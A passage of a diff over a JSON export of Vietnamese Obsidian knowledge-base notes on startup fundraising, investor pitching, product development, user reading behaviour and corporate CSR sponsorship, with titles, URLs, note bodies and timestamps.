đầu tư tốt nhất đầu tư vào những startup chưa có câu chuyện thuyết phục, vì khi đã có câu chuyện thuyết phục rồi thì startup có giá đắt hơn", + "Tiêu đề": "Ý tưởng với hiểu biết sâu đều là giả thiết", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Ý tưởng với hiểu biết sâu đều là giả thiết", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: [[Y Combinator]], ![Fundraising Fundamentals By Geoff Ralston - YouTube](https://youtu.be/gcevHkNGrWQ?si=4bf979YwrNVck3rM&t=614)", + "Toàn bộ nội dung": "[[Idea là một cái gì đó để thử, còn insight là kết quả của sự thử]] ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2023-11-27T15:59:00.000Z", - "id": "Kr" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2023-11-27T15:26:00.000Z", + "id": "L3" }, { - "Tiêu đề": "Nhà đầu tư đầu tư vào việc kinh doanh, không phải ý tưởng", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Quỹ, gọi vốn/Gọn vốn đầu tư/Nhà đầu tư đầu tư vào việc kinh doanh, không phải ý tưởng", + "Tiêu đề": "❓Hiểu biết sâu thông qua việc bắt tay vào làm, hay hiểu biết sâu thông qua việc nghiên cứu", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/❓Hiểu biết sâu thông qua việc bắt tay vào làm, hay hiểu biết sâu thông qua việc nghiên cứu", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: [[Ý tưởng]], [[Đầu tư]]\n- You must show them scalable and sustainable opportunities\n- Demonstrate awareness of comprehensive business management\n- You must create confidence that youưqq221b understand boring business operations\n- Creating an extensive network of similar teams and businesses is very helpful\n- Mastery of these\n\n[[Thứ quyết định hiệu quả của việc kinh doanh là văn hoá doanh nghiệp và phản ứng của thị trường về mình]]\n[[Để gọi vốn thì rất cần nắm chắc những con số]]\n[[Thứ quan trọng không phải là ý tưởng, mà là người có ý tưởng]] ", + "Toàn bộ nội dung": "Nguồn:: [[Tự ngẫm nghĩ, trải nghiệm]]\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-12-06T12:52:00.000Z", - "id": "Ks" + "Ngày tạo": "2023-07-02T04:06:00.000Z", + "Ngày cập nhật": "2023-11-28T07:21:00.000Z", + "id": "L4" }, { - "Tiêu đề": "Nếu không thế nói về thành tựu của mình thì hãy nói về tốc độ của mình", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Quỹ, gọi vốn/Gọn vốn đầu tư/Nếu không thế nói về thành tựu của mình thì hãy nói về tốc độ của mình", + "Tiêu đề": "❓Khảo sát để lọc ứng viên phỏng vấn khác gì khảo sát để xác nhận phát hiện mới từ phỏng vấn trên quy mô lớn", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/❓Khảo sát để lọc ứng viên phỏng vấn khác gì khảo sát để xác nhận phát hiện mới từ phỏng vấn trên quy mô lớn", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: [[Y Combinator]], [Lecture 19 - Sales and Marketing; How to Talk to Investors (Tyler Bosmeny; YC Partners) - YouTube](https://www.youtube.com/watch?v=SHAh6WKBgiE)", + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2023-11-23T07:38:00.000Z", - "id": "Kt" + "Ngày cập nhật": "2023-11-27T15:26:00.000Z", + "id": "L5" }, { - "Tiêu đề": "Thiên thần dùng tiền của bản thân. VC dùng tiền của người khác", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Quỹ, gọi vốn/Gọn vốn đầu tư/Thiên thần dùng tiền của bản thân. VC dùng tiền của người khác", + "Tiêu đề": "Ngôn ngữ của người dùng và ngôn ngữ của người cung cấp giải pháp có thể khác nhau", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Ngôn ngữ của người dùng và ngôn ngữ của người cung cấp giải pháp có thể khác nhau", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ", + "Toàn bộ nội dung": "[[Dữ liệu có thể là ngôn ngữ mà tất cả mọi người đều hiểu]] \nNguồn::\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2023-11-27T15:59:00.000Z", - "id": "Ku" + "Ngày tạo": "2023-06-16T10:03:00.000Z", + "Ngày cập nhật": "2023-10-26T07:03:00.000Z", + "id": "L6" }, { - "Tiêu đề": "Thứ quan trọng không phải là ý tưởng, mà là người có ý tưởng", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Quỹ, gọi vốn/Gọn vốn đầu tư/Thứ quan trọng không phải là ý tưởng, mà là người có ý tưởng", + "Tiêu đề": "Người dùng hài lòng với chất lượng sản phẩm, không phải tốc độ làm ra nó", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Người dùng hài lòng với chất lượng sản phẩm, không phải tốc độ làm ra nó", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: [[Ý tưởng]]\n[[Nhà đầu tư đầu tư vào bạn và vào câu chuyện của startup]]\nNguồn:: [[Paul Graham]], [How to Start a Startup](http://www.paulgraham.com/start.html)", + "Toàn bộ nội dung": "Tốc độ không tạo nên sản phẩm phù hợp thị trường\n[[Người dùng yêu cầu tính năng không có nghĩa là họ sẽ dùng]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2023-12-06T12:54:00.000Z", - "id": "Kv" + "Ngày cập nhật": "2023-11-27T15:21:00.000Z", + "id": "L7" }, { - "Tiêu đề": "Thứ quyết định hiệu quả của việc kinh doanh là văn hoá doanh nghiệp và phản ứng của thị trường về mình", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Quỹ, gọi vốn/Gọn vốn đầu tư/Thứ quyết định hiệu quả của việc kinh doanh là văn hoá doanh nghiệp và phản ứng của thị trường về mình", + "Tiêu đề": "Người dùng yêu cầu tính năng không có nghĩa là họ sẽ dùng", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Người dùng yêu cầu tính năng không có nghĩa là họ sẽ dùng", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Gốc của thương hiệu là văn hoá doanh nghiệp]]", + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: \n[[Các công ty không quan tâm đến tính năng chuyên biệt]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-11-28T08:13:00.000Z", - "id": "Kw" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-06-21T13:32:00.000Z", + "id": "L8" }, { - "Tiêu đề": "Để gọi vốn thì rất cần nắm chắc những con số", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Quỹ, gọi vốn/Gọn vốn đầu tư/Để gọi vốn thì rất cần nắm chắc những con số", + "Tiêu đề": "Những người viết phần mềm vì cả nhu cầu của mình và người giống mình", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Những người viết phần mềm vì cả nhu cầu của mình và người giống mình", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Toàn bộ nội dung": "Lý do:: [[Việc làm sản phẩm thì muốn làm thật ít chức năng càng tốt. Việc viết phần mềm đòi hỏi nên lên kế hoạch các chức năng kỹ càng]]\n\nNguồn:: ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-06-07T11:30:00.000Z", - "Ngày cập nhật": "2023-11-09T09:14:00.000Z", - "id": "Kx" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-07-07T08:15:00.000Z", + "id": "L9" }, { - "Tiêu đề": "Định giá", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Quỹ, gọi vốn/Gọn vốn đầu tư/Định giá", + "Tiêu đề": "Phát triển sản phẩm", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n\n![Khởi nghiệp - Tìm hiểu 3 phương pháp định giá doanh nghiệp khởi nghiệp - YouTube](https://youtu.be/cMXfsxa37iM?si=Ht9qyuJC0kuFVZgu)", + "Toàn bộ nội dung": "```dataview\nLIST rows.file.link\nFROM \"⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm\" \nWHERE file.name!=this.file.name\ngroup by split(file.folder, \"/\")[3] \n```\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2023-11-29T15:49:00.000Z", - "id": "Ky" + "Ngày tạo": "2023-10-16T15:57:00.000Z", + "Ngày cập nhật": "2023-11-01T07:26:00.000Z", + "id": "LA" }, { - "Tiêu đề": "Hãy nhắm còn đủ tiền cho khoảng 20 đến 30 lần thất bại", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Quỹ, gọi vốn/Hãy nhắm còn đủ tiền cho khoảng 20 đến 30 lần thất bại", + "Tiêu đề": "Phân loại người dùng khi phát triển sản phẩm khác với phân khúc khách hàng", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Phân loại người dùng khi phát triển sản phẩm khác với phân khúc khách hàng", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: [[Quỹ]], [[Sản phẩm]]\n\nNguồn:: [[Y Combinator]], ![David Rusenko - How To Find Product Market Fit - YouTube](https://youtu.be/0LNQxT9LvM0?si=t0Na8uT-tMSYXUa4&t=1201)\n\n[[Mọi thứ sẽ luôn tốn thời gian hơn bạn nghĩ|Định luật Hofstadter: Mọi thứ sẽ luôn tốn thời gian hơn bạn nghĩ, kể cả khi bạn đã tính đến định luật Hofstadter]]\n[[Nếu bạn nghĩ rằng bạn có thể hoàn thành đúng kế hoạch, có thể bạn đang ngộ nhận]] \n", + "Toàn bộ nội dung": "Nguồn:: [[Hoàng Đức Minh]]\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-29T07:09:00.000Z", - "id": "Kz" + "Ngày tạo": "2023-09-09T16:46:00.000Z", + "Ngày cập nhật": "2023-11-17T15:29:00.000Z", + "id": "LB" }, { - "Tiêu đề": "Không thể làm dự báo tài chính dài hạn khi chỉ mới có một vài người dùng", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Quỹ, gọi vốn/Không thể làm dự báo tài chính dài hạn khi chỉ mới có một vài người dùng", + "Tiêu đề": "Khoảng 20% người mở tab lên là tắt ngay hoặc để đó không đọc", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Quan niệm, thái độ, hành vi của người dùng/Khoảng 20% người mở tab lên là tắt ngay hoặc để đó không đọc", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Lúc đó không nói là khi nào mình đạt được điều này, mà chỉ có thể nói khi mình đạt được điều này\n\nNguồn:: [[Y Combinator]], ![Fundraising Fundamentals By Geoff Ralston - YouTube](https://youtu.be/gcevHkNGrWQ?si=AJXAAiTNhgRarGTh&t=3068)", + "Toàn bộ nội dung": "Khái niệm:: \n[[Trong số những người chịu đọc, về trung bình họ dành ra 25 s đầu để hiểu giao diện, các tính năng khác và hình ảnh. Sau đó cứ 100 chữ thì đọc thêm 4.4 s, cỡ 18 chữ]] \nNguồn:: [[nngroup]], [How Little Do Users Read?](https://www.nngroup.com/articles/how-little-do-users-read/)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2023-11-28T01:55:00.000Z", - "id": "K-" + "Ngày cập nhật": "2024-02-10T13:14:00.000Z", + "id": "LC" }, { - "Tiêu đề": "Người cho tiền thấy mình đáng được cho tiền nhất khi không thấy mình cần tiền", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Quỹ, gọi vốn/Người cho tiền thấy mình đáng được cho tiền nhất khi không thấy mình cần tiền", + "Tiêu đề": "Người muốn có giải pháp sẽ muốn đọc nội dung dài", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Quan niệm, thái độ, hành vi của người dùng/Người muốn có giải pháp sẽ muốn đọc nội dung dài", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: [[Y Combinator]], ![Fundraising Fundamentals By Geoff Ralston - YouTube](https://youtu.be/gcevHkNGrWQ?si=0vfYRK-e8NwRu1kd&t=375)\n\nDù đi kiếm tiền thì cũng thách thức thật, và [[Những nhiệm vụ thách thức làm nhiều người thấy thú vị hơn]], nhưng [[Những thứ khẩn cấp thường không phải là những thứ thú vị|trong trường hợp này nó lại không thú vị]]\n\n[[Có những cái ta cần làm trước khi ta thấy cần làm]]", + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: [[nngroup]], [Long vs. Short Articles as Content Strategy](https://www.nngroup.com/articles/content-strategy-long-vs-short/)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2023-12-02T03:15:00.000Z", - "id": "K_" + "Ngày cập nhật": "2024-02-10T13:18:00.000Z", + "id": "LD" }, { - "Tiêu đề": "Nhà đầu tư đầu tư vào bạn và vào câu chuyện của startup", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Quỹ, gọi vốn/Nhà đầu tư đầu tư vào bạn và vào câu chuyện của startup", + "Tiêu đề": "Người đã biết xài công nghệ sẽ muốn tiết kiệm thời gian", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Quan niệm, thái độ, hành vi của người dùng/Người đã biết xài công nghệ sẽ muốn tiết kiệm thời gian", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n\nBạn cần phải thể hiện là mình mạnh mẽ, có thể biến ý tưởng thành thực tế. Câu chuyện cần phải:\n- Hấp dẫn\n- Đáng tin\n- Cộng hưởng\n- Cho thấy viễn cảnh tương lai\n- Đáng nhớ\n\n[[Nhà đầu tư tốt nhất đầu tư vào những startup chưa có câu chuyện thuyết phục, vì khi đã có câu chuyện thuyết phục rồi thì startup có giá đắt hơn]] \nNguồn:: [[Y Combinator]], ![Fundraising Fundamentals By Geoff Ralston - YouTube](https://youtu.be/gcevHkNGrWQ?si=nSU984CVjvdQctzN&t=479)\n\n[[Thứ quan trọng không phải là ý tưởng, mà là người có ý tưởng]]", + "Toàn bộ nội dung": "[[Người đã muốn tiết kiệm thời gian sẽ chấp nhận trả phí]]\nNguồn:: [[Điệp]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-11-27T15:38:00.000Z", - "Ngày cập nhật": "2023-12-06T12:54:00.000Z", - "id": "L0" + "Ngày tạo": "2023-11-08T11:29:00.000Z", + "Ngày cập nhật": "2023-12-12T06:27:00.000Z", + "id": "LE" }, { - "Tiêu đề": "Quỹ, gọi vốn", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Quỹ, gọi vốn/Quỹ, gọi vốn", + "Tiêu đề": "Những tính năng khác của app hấp dẫn hơn tốc độ app, trừ phi nó quá chậm", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Quan niệm, thái độ, hành vi của người dùng/Những tính năng khác của app hấp dẫn hơn tốc độ app, trừ phi nó quá chậm", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: [[Quỹ]], [[Gây quỹ]]\n```dataview\nLIST rows.file.link\nFROM \"⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Quỹ, gọi vốn\" \nWHERE file.name!=this.file.name\nGROUP BY split(file.folder, \"/\")[3]\n```\n\n[Gây Quỹ Cho Hoạt Động Phát Triển Từ Năng Lực Đến Niềm Tin — Viện iSEE](https://www.isee.org.vn/thu-vien/c8zk30ydi7y5ngxc99maqtpg3817r6-6d2cz)", + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: [Is software getting worse? - Stack Overflow](https://stackoverflow.blog/2023/12/25/is-software-getting-worse/?_ga=2.222663899.1312893643.1703520074-436113024.1698294348&cb=1)ta", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-12-19T10:41:00.000Z", - "Ngày cập nhật": "2024-07-29T07:12:00.000Z", - "id": "L1" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2023-12-27T05:04:00.000Z", + "id": "LF" }, { - "Tiêu đề": "Trước khi gây quỹ cần biết mục tiêu của mình là gì", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Quỹ, gọi vốn/Trước khi gây quỹ cần biết mục tiêu của mình là gì", + "Tiêu đề": "Trong số những người chịu đọc, về trung bình họ dành ra 25 s đầu để hiểu giao diện, các tính năng khác và hình ảnh. Sau đó cứ 100 chữ thì đọc thêm 4.4 s, cỡ 18 chữ", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Quan niệm, thái độ, hành vi của người dùng/Trong số những người chịu đọc, về trung bình họ dành ra 25 s đầu để hiểu giao diện, các tính năng khác và hình ảnh. Sau đó cứ 100 chữ thì đọc thêm 4.4 s, cỡ 18 chữ", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ", + "Toàn bộ nội dung": "Khái niệm:: \n\nThời gian đọc:\n![Scatterplot: word count on the horizontal axis and the duration of average visits on the vertical axis.](https://media.nngroup.com/media/editor/alertbox/page-visit-time-per-word-count.gif)\n\nSố chữ đọc:\n![Scatterplot: word count on the horizontal axis and the largest proportion of this time users have time to read on the vertical axis](https://media.nngroup.com/media/editor/alertbox/percent-of-text-read.gif)\n\nNguồn:: [[nngroup]], [How Little Do Users Read?](https://www.nngroup.com/articles/how-little-do-users-read/)\n\n[[Người muốn có giải pháp sẽ muốn đọc nội dung dài]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2023-11-26T14:59:00.000Z", - "id": "L2" + "Ngày cập nhật": "2024-02-10T13:18:00.000Z", + "id": "LG" }, { - "Tiêu đề": "Hãy loại bỏ quyền lợi truyền thông tài trợ ra khỏi tài liệu mời tài trợ", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Quỹ, gọi vốn/Tài trợ từ doanh nghiệp, CSR/Hãy loại bỏ quyền lợi truyền thông tài trợ ra khỏi tài liệu mời tài trợ", + "Tiêu đề": "Sản phẩm ra mắt 10 năm rồi cũng có thể không biết gì về người dùng", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Sản phẩm ra mắt 10 năm rồi cũng có thể không biết gì về người dùng", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Hầu hết các đại diện doanh nghiệp được tôi hỏi đều trả lời rằng họ “chưa bao giờ hài lòng”. Câu trả lời này lặp lại và ám ảnh tôi mãi.\n\nThật đau xót khi thừa nhận rằng: điều khiến những chiến dịch CSR thất bại, là vì chúng được thiết kế để tạo ra một cái cớ cho PR. Khi doanh nghiệp cần một “chất liệu truyền thông” để tô màu cho lời hứa của chính mình.\n\nNhững người gây quỹ từ nhóm phi lợi nhuận có góp phần tạo nên sự thất bại của chúng không? Tôi nghĩ là có. Khi chúng ta đã ngại nói không. Chúng ta ngại nói không khi tôn trọng ranh giới nguyện vọng của doanh nghiệp khi yêu cầu trình bày quyền lợi truyền thông. Chúng ta ngại nói không để có thể nhận được khoản tài trợ — thứ sẽ góp phần giúp chúng ta thực hiện được dự án. Chúng ta ngại nói không vì sợ mất đi cơ hội hợp tác trong tương lai.\n\nTừ vị thế đó, chúng ta chiều lòng những “nhà tài trợ” mà quên mất rằng, họ cũng không đạt được đến sự “hài lòng” khi thực hiện một phi vụ “không trong sáng” đến vậy.\n\n# Vàng, Bạc, Đồng, Kim Cương…\n\nChúng ta, những người gây quỹ, hẳn đã có lần ngồi kẻ một cái bảng phân quyền lợi tài trợ. Nhà tài trợ từ X đồng trở lên sẽ là nhà tài trợ Kim Cương, logo phải ở loại lớn nhất, ở vị trí trung tâm trong mọi thiết kế, nào là phải được nhắc đến bao nhiêu lần, được phát biểu bao nhiêu phút, và đặt bao nhiêu ấn phẩm quảng cáo ở sảnh chờ, bao nhiêu bài báo được đăng… Những nhà tài trợ nhỏ hơn ư? Bạn vẫn còn cơ hội ở vị trí Vàng, hoặc Bạc, hoặc cùng lắm là Đồng. Đóng góp to nhỏ của bạn cũng được phân cấp bằng độ lớn của logo, và có thể bạn sẽ không được phát biểu hay nhận kỉ niệm chương mà chỉ được tặng hoa.\n\nNhững thứ này chẳng đi đến đâu. Rồi bạn sẽ gặp một nhà tài trợ lửng lơ giữa những mức tài trợ. Rồi bạn sẽ gặp cảnh nhà tài trợ kì kèo kích cỡ vị trí logo. Những điều này có nghĩa gì, khi trọng tâm của những cuộc thảo luận này đáng ra chỉ nên xoay quanh chuyện “khoản tài trợ phải đến với đối tượng hưởng lợi như thế nào” hay sao?\n\nNhà tài trợ thất vọng. Vì họ mải chạy theo checklist những quyền lợi truyền thông hão huyền mà chúng ta liệt kê. Thay vì nhìn vào tác động dự án, họ sẽ nhìn vào số lượng bài đăng. Thay vì thúc đẩy tiến độ triển khai dự án, họ sẽ thúc đẩy tiến độ… đăng báo.\n\n# Vì sao chúng ta hướng tới những điều tốt đẹp, nhưng đều không hạnh phúc như nhau?\n\n# Đến lúc cần thay đổi một chút, đúng không? Và cần thêm một chút dũng cảm.\n\nNếu bạn cùng cảm nhận được những cơn nhói trong lồng ngực khi đọc ba đoạn văn trên, tôi challenge bạn:\n\n## **Loại bỏ quyền lợi truyền thông tài trợ ra khỏi tài liệu mời tài trợ.**\n\nHãy thay thế chúng bằng một trang trình bày về tác động của dự án. Sát sườn. Số liệu rõ ràng. Hãy nói về điều mà những người hưởng lợi sẽ nhận được. Hãy nói về cách mà khoản tiền tài trợ góp phần tạo nên một xã hội tốt đẹp hơn.\n\nHãy nói về truyền thông ở góc độ “công bố”. Chúng ta không thể hứa số bài đăng facebook, số người like, share hay comment. Chúng ta cũng không thể hứa số lượng bài báo được đăng. Hãy hứa sẽ công bố hợp tác hai bên trên những trang truyền thông mà bạn có. Điều này không phải để làm đẹp bất cứ một thương hiệu nào. Mà là để công chúng có một thông báo chính thức về hợp tác của bạn và doanh nghiệp, từ đó họ có thể quyết định cùng tham gia hay không.\n\nHãy để lại nhiệm vụ truyền thông cho nhà tài trợ. Quyền được PR là quyền của nhà tài trợ. Hãy để họ làm ở 100% năng lực và nguồn lực của riêng họ. Hãy tin tôi, tất cả những PR specialists ngồi trong phòng đều sẽ thở phào. Họ sẽ được chủ động xử lý tư liệu truyền thông theo chiến lược của riêng họ. Họ sẽ toàn quyền xử lý PR angle để hợp với Branding strategy. Họ sẽ được chủ động quản lý tiến độ truyền thông và chất lượng truyền thông. Bạn quay về làm điều mà bạn giỏi nhất: mang lại chính xác giá trị tốt đẹp bằng chuyên môn của mình, dành toàn bộ khoản tiền gây quỹ được để thực hiện các hoạt động cho cộng đồng người hưởng lợi.\n\nLàm tốt việc của mình, biết kẻ ra giới hạn, biết đặt đúng các vai trò vào đúng nơi đúng chỗ, tận dụng nguồn lực của đối tác và tôi tin bạn và đối tác của mình sẽ có những chiến dịch CSR mang lại hạnh phúc cho tất cả những bên liên quan: bạn, đối tác của bạn, và cả những người hưởng lợi nữa.\n\nNguồn:: Hà Lemmy, [Chiến dịch CSR hài lòng nhất?](https://halemmy.medium.com/chiến-dịch-csr-hài-lòng-nhất-ef0501337970)\n", + "Toàn bộ nội dung": "Nguồn:: [[Hoàng Đức Minh]]\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-12-10T14:41:00.000Z", - "id": "L3" + "Ngày tạo": "2023-09-09T16:45:00.000Z", + "Ngày cập nhật": "2023-11-17T15:29:00.000Z", + "id": "LH" }, { - "Tiêu đề": "Tài trợ từ doanh nghiệp, CSR", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Quỹ, gọi vốn/Tài trợ từ doanh nghiệp, CSR/Tài trợ từ doanh nghiệp, CSR", + "Tiêu đề": "Việc làm sản phẩm thì muốn làm thật ít chức năng càng tốt. Việc viết phần mềm đòi hỏi nên lên kế hoạch các chức năng kỹ càng", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Việc làm sản phẩm thì muốn làm thật ít chức năng càng tốt. Việc viết phần mềm đòi hỏi nên lên kế hoạch các chức năng kỹ càng", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": 